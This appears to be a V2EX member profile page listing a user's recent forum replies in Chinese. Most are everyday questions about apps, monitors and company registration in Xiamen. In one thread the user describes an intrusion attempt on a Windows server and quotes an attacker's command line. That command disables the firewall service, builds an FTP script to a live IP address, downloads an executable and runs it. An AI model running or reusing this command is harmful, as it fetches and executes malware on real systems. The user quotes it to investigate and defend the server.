首页   注册   登录

wkl17

V2EX 第 5756 号会员,加入于 2011-02-13 13:06:40 +08:00
wkl17 最近回复了
19 天前
回复了 CSGO 创建的主题 问与答 钉钉虚拟定位如何才会被发现?
楼主用的是什么免 root 虚拟定位工具 分享一下名字?
@yw9381 感谢!感觉入口应该还是 Windows 的组件。我暂时先将一些服务关闭了,再观察看看。
WinRM、MSMQ、lmhosts(NetBIOS)、ScDeviceEnum(SmartCard 相关服务)
我很早以前也安装了实时流量统计工具,但是它的功能比较简单,虽然可以查看所有历史流量。
绝大多数流量是 svchost.exe 产生的,但是我使用 rdp 连接,流量应该也被包含在内。所以无法单独统计 rdp 究竟占用了多少流量。否则应该就能逆向分析我这个问题了。

各位如果哪位知道有什么办法 可以精确统计 Windows 各组件通过 svchost.exe 进程产生的流量,请分享一下方法。
@yw9381
@mmdsun
@QQ2171775959
@CallMeReznov
@visonme
没有跑 Web 服务,MySQL 当时也没运行,而且我通过 HIPS 工具阻止了从公网访问 3306。默认的 3389 也早就改掉了。
或者,假如想分析对方究竟是利用什么漏洞来入侵的,各位可有分析的方法或工具分享一下?谢谢。
@delectate 请再看看我上楼补充的内容。我粗看了 Windows 系统日志,应用程序、安全、系统 这 3 项日志没有发现什么明显异常的日志信息。而且文件读取记录肯定也不会记录在 Windows 系统日志的。服务器也没有跑 Web,所以 i 也没有 Web 日志。

我遇到的情况跟百度知道那个问题很像,也是先尝试 net1 stop sharedaccess (不过被 HIPS 阻止了)。
各位认为对方执行这样的命令,可能是通过什么漏洞来实现的?

服务器是 2K12 R2,除了 R2 的近 900MB 的补丁和 xx 月恶意软件删除工具 没打,其它的补丁很久以前都打过了。

因为也没跑 web,所以打了补丁后 也没做更多的优化,只是使用 HIPS 类软件控制联网(需手工放行)

但我刚才 netstat,发现 137、138、445 的端口还是处于监听状态。不过我也测试了从外网 telnet,

确认这几个端口无法从外网通讯。(应该是被防火墙挡下了)。
或者更直接一点说吧。有一台作为远程桌面用的 Windows,没跑什么服务。

但我今天发现 cmd 命令行有些异常命令(因为执行某个不存在的 exe 卡住了,所以我通过 procexp 查看到这个异常命令)。

刚搜了一下,命令就像这个 2011 年的百度知道问题:

https://zhidao.baidu.com/question/263547971.html

有个 cmd 尝试执行 ftp 命令行下载某个 exe 程序 并执行。但好在我服务器安装了普通的 HIPS,

根据 HIPS 软件的日志,已成功阻止了它下载。虽然也没什么重要数据,但我好奇的是,

这个入侵者能执行类似这样的命令:c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 117.41.184.58> cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get cao.exe>> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&cao.exe

那服务器上的某个文件(比如刚才举例的 abc.txt )如果被入侵者下载或读取过,是否有办法判断出来?


为何 V2EX 发 imgur 的图片,有时可以自动解析,有时却不行?
如果是显示器护眼的话,推荐一个软件:f.lux
投影仪 感觉看久易犯困。另外,我以前也想过将投影仪用于展示 Server Monitor,但是很多人说这样很容易用废,如果要 7x24 小时、长时间运行的话。
@Sapp 企业银行开户 我已经开户下来了。这些前期要处理的 我会先去现场处理好。
主要是想了解,后期正式营业后,能否都线上办公。谢谢。
@bestkayle 不一定是为了买房啊,厦门户口还能享受到其他一些利好吧。
@pmsg863 非常感谢!我年前在思明注册了一个公司(一共 2 个股东,我是法人),不过是 solo 型的(也就是面积很小的,专门用于注册公司的),因为我做的是 IT 服务。不知道我这样的情况,公司地址是否也能用于挂靠落户呢?还是说公司集体户 对应的地址,有产权之类的要求?我的公司地址 只是合同期 1 年租赁的。如了解这方面的情况 请帮忙也解答一下,感谢!
关于   ·   FAQ   ·   API   ·   我们的愿景   ·   广告投放   ·   感谢   ·   实用小工具   ·   2689 人在线   最高记录 4385   ·  
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.3 · 7ms · UTC 13:02 · PVG 21:02 · LAX 06:02 · JFK 09:02
♥ Do have faith in what you're doing.
沪ICP备16043287号-1